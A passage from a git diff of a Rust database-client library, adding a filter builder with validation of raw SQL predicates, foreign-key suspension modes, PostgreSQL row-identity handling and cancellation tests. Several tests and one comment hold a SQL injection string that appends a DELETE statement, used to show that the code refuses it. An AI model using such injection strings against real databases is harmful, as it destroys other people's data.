FilterOp::Gt, + value: Some(FilterValue::Single("18".to_owned())), + }], + extra_sql: Some("length(name) > 3".to_owned()), + }; + + let statement = built(&set); + + assert_eq!(statement.sql(), r#""age" > $1 OR (length(name) > 3)"#); + assert_eq!(statement.params().len(), 1); + } + + #[test] + fn raw_sql_that_is_not_one_expression_is_refused() { + let set = FilterSet { + extra_sql: Some("1=1); DELETE FROM t; SELECT (1".to_owned()), + ..FilterSet::default() + }; + + assert!(matches!( + build(&set).expect_err("a second statement"), + BuildFilterError::RawPredicate(_) + )); + } + + #[test] + fn a_rule_on_a_column_the_table_lost_is_an_error() { + let error = build(&single("gone", FilterOp::Eq, "1")).expect_err("a missing column"); + + assert!(matches!(error, BuildFilterError::UnknownColumn(_)), "{error:?}"); + } + + #[test] + fn positional_markers_follow_the_rule_order() { + let dialect = TestDialect::exact().with_markers(TestMarkers::Positional); + let set = FilterSet { + combinator: Combinator::And, + rules: vec![ + FilterRule { + column: "age".to_owned(), + op: FilterOp::Between, + value: Some(FilterValue::Pair("1".to_owned(), "9".to_owned())), + }, + FilterRule { + column: "name".to_owned(), + op: FilterOp::StartsWith, + value: Some(FilterValue::Single("a".to_owned())), + }, + ], + extra_sql: None, + }; + + let statement = build_with(&dialect, &set).expect("the filter").expect("a predicate"); + + assert_eq!(statement.sql(), r#""age" BETWEEN ? AND ? AND "name" LIKE ? ESCAPE '!'"#); + let values: Vec<_> = statement.params().iter().map(|param| param.value().clone()).collect(); + assert_eq!(values, vec![Value::Int(1), Value::Int(9), Value::Text("a%".to_owned())]); + } +} diff --git a/linux/crates/core/src/filter/build_filter_error.rs b/linux/crates/core/src/filter/build_filter_error.rs new file mode 100644 index 0000000000..cfec0ec1b0 --- /dev/null +++ b/linux/crates/core/src/filter/build_filter_error.rs @@ -0,0 +1,34 @@ +use thiserror::Error; + +use crate::dialect::BindError; +use crate::edit::EditParseError; +use crate::sql_syntax::ExpressionSyntaxError; + +use super::FilterOp; + +/// Why a filter could not be written as SQL. +#[derive(Debug, Clone, PartialEq, Eq, Error)] +pub enum BuildFilterError { + #[error("filter rule references unknown column: {0}")] + UnknownColumn(String), + #[error("operator {0:?} requires a value")] + MissingValue(FilterOp), + #[error("BETWEEN requires both bounds")] + BetweenMissingBound, + #[error("IN list cannot be empty")] + EmptyInList, + #[error("operator {op:?} cannot use the supplied value shape")] + WrongValueShape { op: FilterOp }, + #[error("rule on column {column}: {source}")] + Parse { + column: String, + #[source] + source: EditParseError, + }, + #[error(transparent)] + Bind(#[from] BindError), + #[error("operator {op:?} does not apply to column {column}")] + OperatorNotAllowed { column: String, op: FilterOp }, + #[error("the SQL filter is not a single expression: {0}")] + RawPredicate(#[source] ExpressionSyntaxError), +} diff --git a/linux/crates/core/src/filter/filter_op.rs b/linux/crates/core/src/filter/filter_op.rs new file mode 100644 index 0000000000..0f2b747dd1 --- /dev/null +++ b/linux/crates/core/src/filter/filter_op.rs @@ -0,0 +1,31 @@ +use serde::{Deserialize, Serialize}; + +/// One operator in a filter rule. The dropdown labels live in the UI; +/// the SQL each one emits is decided by `build_filter`. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum FilterOp { + Eq, + NotEq, + Lt, + LtEq, + Gt, + GtEq, + /// The builder adds the wildcards and escapes the user's own, so + /// plain text matches as typed. + Contains, + StartsWith, + EndsWith, + /// The user's own pattern, wildcards and all. + Like, + NotLike, + /// Case-insensitive LIKE, spelled however the engine spells it. + Ilike, + IsNull, + IsNotNull, + /// Value is `FilterValue::List`; one marker per element. + In, + NotIn, + /// Value is `FilterValue::Pair(low, high)`. + Between, +} diff --git a/linux/crates/core/src/filter/filter_rule.rs b/linux/crates/core/src/filter/filter_rule.rs new file mode 100644 index 0000000000..462360c1da --- /dev/null +++ b/linux/crates/core/src/filter/filter_rule.rs @@ -0,0 +1,23 @@ +use serde::{Deserialize, Serialize}; + +use super::FilterOp; + +/// One condition in the filter strip, as the user typed it. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct FilterRule { + pub column: String, + pub op: FilterOp, + /// `None` for the null tests; required for everything else. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub value: Option, +} + +/// The text a rule compares against, before it is parsed as the +/// column's type. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(tag = "kind", content = "value", rename_all = "snake_case")] +pub enum FilterValue { + Single(String), + Pair(String, String), + List(Vec), +} diff --git a/linux/crates/core/src/filter/filter_set.rs b/linux/crates/core/src/filter/filter_set.rs new file mode 100644 index 0000000000..7aa82c1453 --- /dev/null +++ b/linux/crates/core/src/filter/filter_set.rs @@ -0,0 +1,62 @@ +use serde::{Deserialize, Serialize}; + +use super::FilterRule; + +/// Every rule on a table's filter strip, joined under one combinator. +/// +/// Nested groups are out of scope: a user who needs a boolean tree has +/// the SQL editor. +#[derive(Debug, Clone, PartialEq, Eq, Default, Serialize, Deserialize)] +pub struct FilterSet { + #[serde(default)] + pub combinator: Combinator, + #[serde(default)] + pub rules: Vec, + /// A predicate the user wrote as SQL, for what the rule editor does + /// not model. It is joined with the rules verbatim, so it has to + /// parse as exactly one expression first: see + /// `validate_raw_predicate`. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub extra_sql: Option, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)] +#[serde(rename_all = "snake_case")] +pub enum Combinator { + #[default] + And, + Or, +} + +impl FilterSet { + /// No rules and no SQL, so the query needs no WHERE at all. + pub fn is_empty(&self) -> bool { + self.rules.is_empty() && self.raw_predicate().is_none() + } + + pub fn len(&self) -> usize { + self.rules.len() + usize::from(self.raw_predicate().is_some()) + } + + /// The user's SQL predicate, or `None` when it is blank. + pub fn raw_predicate(&self) -> Option<&str> { + self.extra_sql.as_deref().map(str::trim).filter(|sql| !sql.is_empty()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn blank_sql_is_no_filter() { + let set = FilterSet { + extra_sql: Some(" ".to_owned()), + ..FilterSet::default() + }; + + assert!(set.is_empty()); + assert_eq!(set.len(), 0); + assert_eq!(set.raw_predicate(), None); + } +} diff --git a/linux/crates/core/src/filter/mod.rs b/linux/crates/core/src/filter/mod.rs new file mode 100644 index 0000000000..e46b989b8c --- /dev/null +++ b/linux/crates/core/src/filter/mod.rs @@ -0,0 +1,22 @@ +//! The per-table WHERE clause the browse filter builds. +//! +//! The filter strip hands over a `FilterSet` and `build_filter` turns it +//! into SQL through the connection's own dialect. Every value the user +//! typed is parsed against the column's type and bound, so a filter is +//! a comparison rather than a string spliced into the query. + +mod build_filter; +mod build_filter_error; +mod filter_op; +mod filter_rule; +mod filter_set; +mod operators_for; +mod validate_raw_predicate; + +pub use build_filter::build_filter; +pub use build_filter_error::BuildFilterError; +pub use filter_op::FilterOp; +pub use filter_rule::{FilterRule, FilterValue}; +pub use filter_set::{Combinator, FilterSet}; +pub use operators_for::operators_for; +pub use validate_raw_predicate::validate_raw_predicate; diff --git a/linux/crates/core/src/filter/operators_for.rs b/linux/crates/core/src/filter/operators_for.rs new file mode 100644 index 0000000000..c2ecddd6ad --- /dev/null +++ b/linux/crates/core/src/filter/operators_for.rs @@ -0,0 +1,102 @@ +use crate::column::ColumnKind; + +use super::FilterOp; + +const NULL_ONLY: &[FilterOp] = &[FilterOp::IsNull, FilterOp::IsNotNull]; +const COMPARISON: &[FilterOp] = &[ + FilterOp::Eq, + FilterOp::NotEq, + FilterOp::Lt, + FilterOp::LtEq, + FilterOp::Gt, + FilterOp::GtEq, + FilterOp::Between, + FilterOp::In, + FilterOp::NotIn, + FilterOp::IsNull, + FilterOp::IsNotNull, +]; +const TEXTUAL: &[FilterOp] = &[ + FilterOp::Eq, + FilterOp::NotEq, + FilterOp::Contains, + FilterOp::StartsWith, + FilterOp::EndsWith, + FilterOp::Like, + FilterOp::NotLike, + FilterOp::Ilike, + FilterOp::In, + FilterOp::NotIn, + FilterOp::IsNull, + FilterOp::IsNotNull, +]; +const EQUALITY: &[FilterOp] = &[ + FilterOp::Eq, + FilterOp::NotEq, + FilterOp::In, + FilterOp::NotIn, + FilterOp::IsNull, + FilterOp::IsNotNull, +]; + +/// Which operators make sense for a column, in the order the dropdown +/// lists them. +/// +/// Driven by the column's kind rather than its type name, so a new +/// engine spelling never needs a new branch here. A binary column gets +/// only the null tests: there is no text form of a blob to compare. +pub fn operators_for(kind: &ColumnKind) -> &'static [FilterOp] { + match kind { + ColumnKind::Bytes { .. } + | ColumnKind::Spatial + | ColumnKind::Array { .. } + | ColumnKind::Variant + | ColumnKind::Composite => NULL_ONLY, + ColumnKind::Text { .. } + | ColumnKind::Json { .. } + | ColumnKind::Enum { .. } + | ColumnKind::Xml + | ColumnKind::Other => TEXTUAL, + // An interval is ordered, so it compares rather than matching + // as text. + ColumnKind::Integer(_) + | ColumnKind::Decimal { .. } + | ColumnKind::Money { .. } + | ColumnKind::Float(_) + | ColumnKind::Date + | ColumnKind::Time { .. } + | ColumnKind::Timestamp { .. } + | ColumnKind::Interval => COMPARISON, + ColumnKind::Bool(_) | ColumnKind::Uuid | ColumnKind::BitString { .. } | ColumnKind::Network(_) => EQUALITY, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn operators_for_interval_are_comparison_not_text() { + let interval = operators_for(&ColumnKind::Interval); + + assert!(interval.contains(&FilterOp::Between), "{interval:?}"); + assert!(interval.contains(&FilterOp::Lt), "{interval:?}"); + assert!(!interval.contains(&FilterOp::Contains), "{interval:?}"); + } + + #[test] + fn a_kind_with_no_comparable_text_gets_only_the_null_tests() { + let array = ColumnKind::Array { + element: Box::new(ColumnKind::Uuid), + }; + for kind in [ColumnKind::Spatial, ColumnKind::Composite, ColumnKind::Variant, array] { + assert_eq!( + operators_for(&kind), + &[FilterOp::IsNull, FilterOp::IsNotNull], + "{kind:?}" + ); + } + assert!(operators_for(&ColumnKind::Money { scale: Some(2) }).contains(&FilterOp::Between)); + assert!(operators_for(&ColumnKind::Xml).contains(&FilterOp::Contains)); + } +} diff --git a/linux/crates/core/src/filter/validate_raw_predicate.rs b/linux/crates/core/src/filter/validate_raw_predicate.rs new file mode 100644 index 0000000000..2cb8db3945 --- /dev/null +++ b/linux/crates/core/src/filter/validate_raw_predicate.rs @@ -0,0 +1,55 @@ +use crate::dialect::SqlDialect; +use crate::sql_syntax::{ExpressionSyntaxError, MAX_EXPRESSION_LEN, parse_expression}; + +/// Check that SQL the user typed as a filter is exactly one expression. +/// +/// The text is spliced into the page query, so `1=1); DELETE FROM t; +/// SELECT (1` would close the WHERE and run a second statement, and a +/// comment would swallow the clauses after it. The engine's own grammar +/// has to read the whole text as one expression with nothing left over. +/// The filter strip checks before saving a fragment, and every builder +/// checks again, so a fragment saved before this check is refused when +/// it is replayed. +pub fn validate_raw_predicate(dialect: &dyn SqlDialect, text: &str) -> Result<(), ExpressionSyntaxError> { + parse_expression(dialect.grammar(), text, MAX_EXPRESSION_LEN).map(|_| ()) +} + +#[cfg(test)] +mod tests { + use crate::dialect::TestDialect; + + use super::*; + + fn validate(text: &str) -> Result<(), ExpressionSyntaxError> { + validate_raw_predicate(&TestDialect::exact(), text) + } + + #[test] + fn a_predicate_that_closes_the_where_is_refused() { + assert!(matches!( + validate("1=1); DELETE FROM t; SELECT (1"), + Err(ExpressionSyntaxError::Invalid(_)) + )); + } + + #[test] + fn a_trailing_semicolon_is_refused() { + assert!(matches!(validate("a = 1;"), Err(ExpressionSyntaxError::Invalid(_)))); + } + + #[test] + fn a_batch_separator_is_refused() { + assert!(matches!(validate("1=1 GO"), Err(ExpressionSyntaxError::Invalid(_)))); + } + + #[test] + fn a_comment_that_would_swallow_the_rest_is_refused() { + assert_eq!(validate("a = 1 --"), Err(ExpressionSyntaxError::Comment)); + } + + #[test] + fn a_plain_expression_passes() { + assert_eq!(validate("a OR b"), Ok(())); + assert_eq!(validate("length(name) > 3"), Ok(())); + } +} diff --git a/linux/crates/core/src/foreign_key_check.rs b/linux/crates/core/src/foreign_key_check.rs new file mode 100644 index 0000000000..9f4fca0564 --- /dev/null +++ b/linux/crates/core/src/foreign_key_check.rs @@ -0,0 +1,29 @@ +use crate::meta::TableRef; + +/// One table whose foreign keys a suspended batch verifies. +/// +/// `before` is the table's name when the batch starts and `after` its +/// name once the batch is done. They differ when a rebuild renames the +/// table, and a violation already there under the old name must not be +/// read as one the batch introduced under the new name. `before` is +/// `None` for a table the batch creates, which has nothing to compare +/// against. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub struct ForeignKeyCheck { + pub before: Option, + pub after: TableRef, +} + +impl ForeignKeyCheck { + pub fn new(before: Option, after: TableRef) -> Self { + Self { before, after } + } + + /// A table that keeps its name through the batch. + pub fn same_table(table: TableRef) -> Self { + Self { + before: Some(table.clone()), + after: table, + } + } +} diff --git a/linux/crates/core/src/foreign_key_mode.rs b/linux/crates/core/src/foreign_key_mode.rs new file mode 100644 index 0000000000..dfb47d0f89 --- /dev/null +++ b/linux/crates/core/src/foreign_key_mode.rs @@ -0,0 +1,64 @@ +use crate::error::DriverError; +use crate::foreign_key_check::ForeignKeyCheck; + +/// Whether foreign keys stay on while a batch runs. +/// +/// The batch carries this rather than leaving the driver to infer it, +/// because which tables to check is plan knowledge: a rebuild knows the +/// table it replaced, the children that point at it and the names on +/// both sides of a rename, and none of that can be recovered from the +/// statements alone. +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub enum ForeignKeyMode { + #[default] + Enforced, + /// Off for the batch, then checked: the batch rolls back if it + /// leaves a violation in these tables that was not there before. + /// Only SQLite can suspend foreign keys, because a table rebuild + /// there needs them off for the copy. + SuspendedThenVerified { checks: Vec }, +} + +impl ForeignKeyMode { + pub fn is_enforced(&self) -> bool { + matches!(self, Self::Enforced) + } + + /// Refuse a suspended batch before anything is sent, for an engine + /// that has no way to suspend foreign keys. + pub fn require_enforced(&self) -> Result<(), DriverError> { + match self { + Self::Enforced => Ok(()), + Self::SuspendedThenVerified { .. } => Err(DriverError::Unsupported { + feature: "foreign key suspension", + }), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::meta::TableRef; + + #[test] + fn an_engine_without_suspension_refuses_a_suspended_batch() { + let suspended = ForeignKeyMode::SuspendedThenVerified { + checks: vec![ForeignKeyCheck::same_table(TableRef::unqualified("orders"))], + }; + + let refusal = suspended.require_enforced(); + + assert!( + matches!( + refusal, + Err(DriverError::Unsupported { + feature: "foreign key suspension" + }) + ), + "got {refusal:?}" + ); + assert!(ForeignKeyMode::Enforced.require_enforced().is_ok()); + assert!(ForeignKeyMode::default().is_enforced()); + } +} diff --git a/linux/crates/core/src/import/csv_import.rs b/linux/crates/core/src/import/csv_import.rs index abbcf895c4..e1dd3f3352 100644 --- a/linux/crates/core/src/import/csv_import.rs +++ b/linux/crates/core/src/import/csv_import.rs @@ -184,7 +184,7 @@ fn cell_for(text: &str, column: &ColumnInfo, options: &CsvImportOptions) -> Resu } // An empty string is a value in its own right for a text // column, and the marker being empty is the common case. - if options.null_marker.is_empty() && column.column_type.kind().accepts_empty_string() { + if options.null_marker.is_empty() && column.column_type.kind.accepts_empty_string() { return Ok(CellInput::Value(crate::value::Value::Text(String::new()))); } return Ok(CellInput::Value(crate::value::Value::Null)); @@ -207,7 +207,7 @@ fn delimiter_byte(delimiter: CsvDelimiter) -> u8 { mod tests { use super::*; use crate::column::{ - CatalogType, ColumnDefault, ColumnKind, ColumnType, IntegerKind, ReadForm, SqlExpression, SqlTypeExpr, TextKind, + ColumnDefault, ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm, SqlExpression, TextLength, }; use crate::value::Value; @@ -218,13 +218,13 @@ mod tests { fn column(name: &str, kind: ColumnKind, sql: &str) -> ColumnInfo { ColumnInfo { name: name.to_owned(), - column_type: ColumnType::new( - SqlTypeExpr::from_catalog_text(sql), + column_type: ColumnType { + name: sql.to_owned(), kind, - CatalogType::Unknown, - true, - ReadForm::Native, - ), + catalog: None, + dynamic_storage: true, + read_form: ReadForm::Native, + }, nullable: true, primary_key: false, is_auto_increment: false, @@ -235,11 +235,24 @@ mod tests { } fn text_column(name: &str) -> ColumnInfo { - column(name, ColumnKind::Text(TextKind::Variable), "text") + column( + name, + ColumnKind::Text { + length: TextLength::Unbounded, + }, + "text", + ) } fn int_column(name: &str) -> ColumnInfo { - column(name, ColumnKind::Integer(IntegerKind::I64), "bigint") + column( + name, + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: true, + }), + "bigint", + ) } #[test] diff --git a/linux/crates/core/src/lib.rs b/linux/crates/core/src/lib.rs index 4f9c9c95f4..6ba1a714c3 100644 --- a/linux/crates/core/src/lib.rs +++ b/linux/crates/core/src/lib.rs @@ -1,3 +1,4 @@ +mod auth_mode; pub mod browse; mod call_options; mod capabilities; @@ -6,6 +7,9 @@ mod client_identity; pub mod column; mod commit; mod config_error; +mod connect_environment; +mod connect_options; +mod connect_target; mod connection; pub mod credentials; pub mod ddl; @@ -21,7 +25,9 @@ pub mod export; mod file_endpoint; mod file_open_mode; pub mod filter; +mod foreign_key_check; pub mod foreign_key_info; +mod foreign_key_mode; pub mod hex; pub mod import; mod link_watch; @@ -29,11 +35,11 @@ mod liveness_policy; mod loss_phase; pub mod meta; mod network_endpoint; +mod network_target; mod owned_calls; -mod query; pub mod query_result; -mod read_only; mod read_only_refusal; +mod read_statement; mod registry; mod result_event; mod result_sink; @@ -45,11 +51,11 @@ mod server_info; mod server_name_override; mod session_fate; pub mod sql_ddl; -pub mod sql_dialect; pub mod sql_syntax; mod ssh_failure; pub mod statement; mod stop_request; +mod stream_summary; mod timeout_phase; mod tls_capabilities; mod tls_config; @@ -63,10 +69,12 @@ mod transport_kind; mod transport_route; mod user_sql; pub mod value; +mod workspace_settings; mod write_batch; mod write_ledger; mod write_report; +pub use auth_mode::AuthMode; pub use call_options::CallOptions; pub use capabilities::{ CommitResolutionSupport, DriverCapabilities, EndpointKind, EstimateQuality, ReadOnlyEnforcement, ScriptExecution, @@ -76,7 +84,11 @@ pub use client_identity::ClientIdentity; pub use column::ColumnInfo; pub use commit::{CommitResolution, CommitToken}; pub use config_error::ConfigError; -pub use connection::{AuthMode, ConnectOptions, Connection}; +pub use connect_environment::{APPLICATION_NAME, ConnectEnvironment}; +pub use connect_options::ConnectOptions; +pub use connect_target::ConnectTarget; +pub use connection::Connection; +pub use credentials::Credentials; pub use driver::DatabaseDriver; pub use editor_session::{EditorSession, EditorSessionId, EditorSessionOptions, EditorSessionState}; pub use engine_stop::{CallResource, EngineStop, StopDelivery, StopScope}; @@ -86,21 +98,21 @@ pub use file_endpoint::FileEndpoint; pub use file_open_mode::FileOpenMode; pub use filter::{ BuildFilterError, Combinator, FilterOp, FilterRule, FilterSet, FilterValue, build_filter, operators_for, + validate_raw_predicate, }; +pub use foreign_key_check::ForeignKeyCheck; +pub use foreign_key_info::ForeignKeyInfo; +pub use foreign_key_mode::ForeignKeyMode; pub use link_watch::{LinkState, LinkWatch}; pub use liveness_policy::LivenessPolicy; pub use loss_phase::LossPhase; +pub use meta::{IndexInfo, TableRef}; pub use network_endpoint::NetworkEndpoint; +pub use network_target::NetworkTarget; pub use owned_calls::OwnedCalls; -pub use query::{ExecResult, ForeignKeyInfo, IndexInfo, TableInfo}; pub use query_result::QueryResult; -pub use value::Value; - -/// Default upper bound on rows an arbitrary SQL query materialises. -/// Paging uses its caller's own limit and is not capped here. -pub const MAX_QUERY_ROWS: usize = 10_000; -pub use read_only::ReadOnlyConnection; pub use read_only_refusal::ReadOnlyRefusal; +pub use read_statement::ReadStatement; pub use registry::DriverRegistry; pub use result_event::{ResultEvent, RunEnd, RunSummary, ServerNotice, Truncation}; pub use result_sink::{ResultSink, SinkFlow}; @@ -112,6 +124,7 @@ pub use server_name_override::ServerNameOverride; pub use session_fate::SessionFate; pub use ssh_failure::SshFailure; pub use stop_request::{StopReason, StopRequest}; +pub use stream_summary::StreamSummary; pub use timeout_phase::TimeoutPhase; pub use tls_capabilities::TlsCapabilities; pub use tls_config::TlsConfig; @@ -124,6 +137,8 @@ pub use transport_error::TransportError; pub use transport_kind::TransportKind; pub use transport_route::TransportRoute; pub use user_sql::UserSql; +pub use value::Value; +pub use workspace_settings::WorkspaceSettings; pub use write_batch::{WriteBatch, WriteKind}; pub use write_ledger::{WriteAtomicity, WriteLedger}; pub use write_report::{StatementOutcome, WriteReport}; diff --git a/linux/crates/core/src/link_watch.rs b/linux/crates/core/src/link_watch.rs index 5c57c8f50d..ae472ce8d1 100644 --- a/linux/crates/core/src/link_watch.rs +++ b/linux/crates/core/src/link_watch.rs @@ -1,4 +1,4 @@ -use tokio_util::sync::CancellationToken; +use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; /// Whether the workspace's link to the server is still there. #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] @@ -34,9 +34,11 @@ impl LinkWatch { } } - /// Resolves once the link is gone. - pub async fn lost(&self) { - self.lost.cancelled().await; + /// Resolves once the link is gone. The future owns its share of + /// the watch, so a monitor can hold it without borrowing the + /// connection. + pub fn lost(&self) -> WaitForCancellationFutureOwned { + self.lost.clone().cancelled_owned() } } @@ -56,6 +58,18 @@ mod tests { elsewhere.lost().await; } + #[tokio::test] + async fn mark_lost_resolves_lost_future() { + let watch = LinkWatch::new(); + let lost = watch.lost(); + let waiter = tokio::spawn(lost); + + watch.mark_lost(); + drop(watch); + + assert!(waiter.await.is_ok(), "the lost future did not resolve"); + } + #[test] fn marking_a_lost_link_again_changes_nothing() { let watch = LinkWatch::new(); diff --git a/linux/crates/core/src/meta/row_identity.rs b/linux/crates/core/src/meta/row_identity.rs index e30dc031ed..a12a83e0fa 100644 --- a/linux/crates/core/src/meta/row_identity.rs +++ b/linux/crates/core/src/meta/row_identity.rs @@ -34,17 +34,45 @@ pub enum EngineRowId { pub enum EngineRowIdPart { PostgresTableOid, PostgresCtid, + /// The transaction that wrote this tuple version. VACUUM can hand a + /// freed ctid to a new row, and xmin is what tells the two apart, + /// so a save against the old row matches nothing instead of the + /// stranger now living at its address. + PostgresXmin, SqliteRowid, } +impl EngineRowIdPart { + /// Whether rows can be ordered by this part. xmin names a version, + /// not a position, and PostgreSQL's xid type has no ordering + /// operator, so it never reaches an ORDER BY or a keyset bound. + pub fn orders_rows(self) -> bool { + !matches!(self, Self::PostgresXmin) + } + + /// The name a page gives the hidden column that carries this part. + /// Fixed here so every dialect projects the same names. + pub fn projection_alias(self) -> &'static str { + match self { + Self::PostgresTableOid => "__tablepro_row_oid", + Self::PostgresCtid | Self::SqliteRowid => "__tablepro_row_id", + Self::PostgresXmin => "__tablepro_row_xmin", + } + } +} + impl EngineRowId { /// The parts that make up the id, in the order they are projected /// and bound. One order for the page layout, the change set key /// and the DML predicate, so they cannot disagree. pub fn parts(self) -> &'static [EngineRowIdPart] { match self { - Self::PostgresCtid => &[EngineRowIdPart::PostgresCtid], - Self::PostgresTableoidCtid => &[EngineRowIdPart::PostgresTableOid, EngineRowIdPart::PostgresCtid], + Self::PostgresCtid => &[EngineRowIdPart::PostgresCtid, EngineRowIdPart::PostgresXmin], + Self::PostgresTableoidCtid => &[ + EngineRowIdPart::PostgresTableOid, + EngineRowIdPart::PostgresCtid, + EngineRowIdPart::PostgresXmin, + ], Self::SqliteRowid => &[EngineRowIdPart::SqliteRowid], } } @@ -72,12 +100,29 @@ mod tests { fn a_partitioned_ctid_carries_its_partition_first() { assert_eq!( EngineRowId::PostgresTableoidCtid.parts(), - &[EngineRowIdPart::PostgresTableOid, EngineRowIdPart::PostgresCtid] + &[ + EngineRowIdPart::PostgresTableOid, + EngineRowIdPart::PostgresCtid, + EngineRowIdPart::PostgresXmin + ] ); - assert_eq!(EngineRowId::PostgresCtid.parts(), &[EngineRowIdPart::PostgresCtid]); assert_eq!(EngineRowId::SqliteRowid.parts(), &[EngineRowIdPart::SqliteRowid]); } + #[test] + fn a_postgres_row_address_carries_its_tuple_version() { + assert_eq!( + EngineRowId::PostgresCtid.parts(), + &[EngineRowIdPart::PostgresCtid, EngineRowIdPart::PostgresXmin], + "a ctid reused after VACUUM would name the wrong row" + ); + assert!( + !EngineRowIdPart::PostgresXmin.orders_rows(), + "xid has no ordering operator" + ); + assert!(EngineRowIdPart::PostgresCtid.orders_rows()); + } + #[test] fn unordered_rows_are_read_only() { assert!(!RowIdentity::Unordered.is_editable()); diff --git a/linux/crates/core/src/network_target.rs b/linux/crates/core/src/network_target.rs new file mode 100644 index 0000000000..24a129f68f --- /dev/null +++ b/linux/crates/core/src/network_target.rs @@ -0,0 +1,101 @@ +use std::sync::Arc; + +use crate::credentials::Credentials; +use crate::tls_config::TlsConfig; +use crate::transport::Transport; + +/// A server reached over the network, and how to log in to it. +/// +/// The transport already knows the route, so a driver never sees +/// whether it is talking to the server directly or through an SSH +/// forward. Trust is not carried here: each driver builds its own from +/// `tls`, because the engines' TLS stacks accept trust anchors in +/// different forms. +#[derive(Debug, Clone)] +pub struct NetworkTarget { + pub transport: Arc, + pub credentials: Credentials, + pub database: Option, + pub tls: TlsConfig, +} + +impl NetworkTarget { + /// The name the server's certificate is checked against. Through a + /// tunnel the socket points at a local forward, so the name comes + /// from the service the forward reaches, never from the socket. + pub fn tls_server_name(&self) -> &str { + self.tls + .server_name + .as_deref() + .unwrap_or_else(|| self.transport.service_endpoint().host()) + } +} + +#[cfg(test)] +mod tests { + use async_trait::async_trait; + + use super::*; + use crate::{NetworkEndpoint, TransportError, TransportKind, TransportRoute, TransportStream}; + + #[derive(Debug)] + struct Forward { + service: NetworkEndpoint, + } + + #[async_trait] + impl Transport for Forward { + fn service_endpoint(&self) -> &NetworkEndpoint { + &self.service + } + + fn kind(&self) -> TransportKind { + TransportKind::SshForward { + destination: "bastion".to_owned(), + } + } + + fn route(&self) -> TransportRoute { + TransportRoute::UnixSocket("/run/user/1000/forward.sock".into()) + } + + async fn open(&self) -> Result, TransportError> { + let (client, _server) = tokio::io::duplex(64); + Ok(Box::new(client)) + } + + async fn reroute(&self, endpoint: NetworkEndpoint) -> Result, TransportError> { + Ok(Arc::new(Self { service: endpoint })) + } + + async fn explain_closed_stream(&self) -> Option { + None + } + } + + fn target(server_name: Option<&str>) -> Option { + let service = NetworkEndpoint::new("db.internal.example", 5432).ok()?; + let mut tls = TlsConfig::verify_full(); + tls.server_name = server_name.map(str::to_owned); + Some(NetworkTarget { + transport: Arc::new(Forward { service }), + credentials: Credentials::Integrated, + database: None, + tls, + }) + } + + #[test] + fn a_tunnelled_server_is_verified_by_its_own_name() { + let target = target(None).expect("a valid endpoint"); + + assert_eq!(target.tls_server_name(), "db.internal.example"); + } + + #[test] + fn an_explicit_server_name_wins() { + let target = target(Some("db.example.com")).expect("a valid endpoint"); + + assert_eq!(target.tls_server_name(), "db.example.com"); + } +} diff --git a/linux/crates/core/src/owned_calls.rs b/linux/crates/core/src/owned_calls.rs index c10f65eadc..2cfc31feeb 100644 --- a/linux/crates/core/src/owned_calls.rs +++ b/linux/crates/core/src/owned_calls.rs @@ -383,18 +383,31 @@ mod tests { struct Engine { delivery: StopDelivery, + takes: Duration, sent: Arc, + settled: Arc, } impl Engine { fn new(delivery: StopDelivery) -> (Arc, Arc) { + let (engine, sent, _settled) = Self::taking(delivery, Duration::ZERO); + (engine, sent) + } + + /// An engine whose stop takes `takes` to be acknowledged, as a + /// cancel request on a second connection does. + fn taking(delivery: StopDelivery, takes: Duration) -> (Arc, Arc, Arc) { let sent = Arc::new(AtomicUsize::new(0)); + let settled = Arc::new(AtomicUsize::new(0)); ( Arc::new(Self { delivery, + takes, sent: sent.clone(), + settled: settled.clone(), }), sent, + settled, ) } } @@ -407,6 +420,10 @@ mod tests { async fn stop(&self) -> Result<(), DriverError> { self.sent.fetch_add(1, Ordering::SeqCst); + if !self.takes.is_zero() { + tokio::time::sleep(self.takes).await; + } + self.settled.fetch_add(1, Ordering::SeqCst); Ok(()) } @@ -426,6 +443,152 @@ mod tests { CallOptions::new(deadline, cancel.clone()) } + fn cancel_after(cancel: &CancellationToken, after: Duration) { + let trigger = cancel.clone(); + tokio::spawn(async move { + tokio::time::sleep(after).await; + trigger.cancel(); + }); + } + + #[tokio::test(start_paused = true)] + async fn dropping_caller_future_still_calls_stop() { + let calls = OwnedCalls::new(Duration::from_secs(5)); + let (connection, _abandon, _discarded) = Connection::new(); + let (engine, sent) = Engine::new(StopDelivery::OutOfBand(StopScope::Statement)); + let cancel = CancellationToken::new(); + + // The timeout polls the call once, so its work is running, and + // then drops it the way a closed tab drops its future. + let dropped = tokio::time::timeout( + Duration::from_millis(5), + calls.run_read::<_, _, u8, _, _>( + options(None, &cancel), + connection, + engine, + |resource, stop| async move { + stop.requested().await; + (resource, Err(cancelled_by_server())) + }, + ), + ) + .await; + tokio::time::sleep(Duration::from_millis(10)).await; + + assert!(dropped.is_err(), "the call finished before it could be dropped"); + assert!(cancel.is_cancelled(), "dropping the caller did not cancel the call"); + assert_eq!( + sent.load(Ordering::SeqCst), + 1, + "the server was left running a call nobody waits for" + ); + } + + #[tokio::test(start_paused = true)] + async fn connection_scope_waits_for_stop_before_release() { + let calls = OwnedCalls::new(Duration::from_secs(5)); + let (connection, _abandon, discarded) = Connection::new(); + let stop_takes = Duration::from_millis(200); + let (engine, _sent, settled) = Engine::taking(StopDelivery::OutOfBand(StopScope::Connection), stop_takes); + let cancel = CancellationToken::new(); + cancel_after(&cancel, Duration::from_millis(10)); + let started = Instant::now(); + + let answer = calls + .run_read::<_, _, u8, _, _>( + options(None, &cancel), + connection, + engine, + |resource, stop| async move { + stop.requested().await; + (resource, 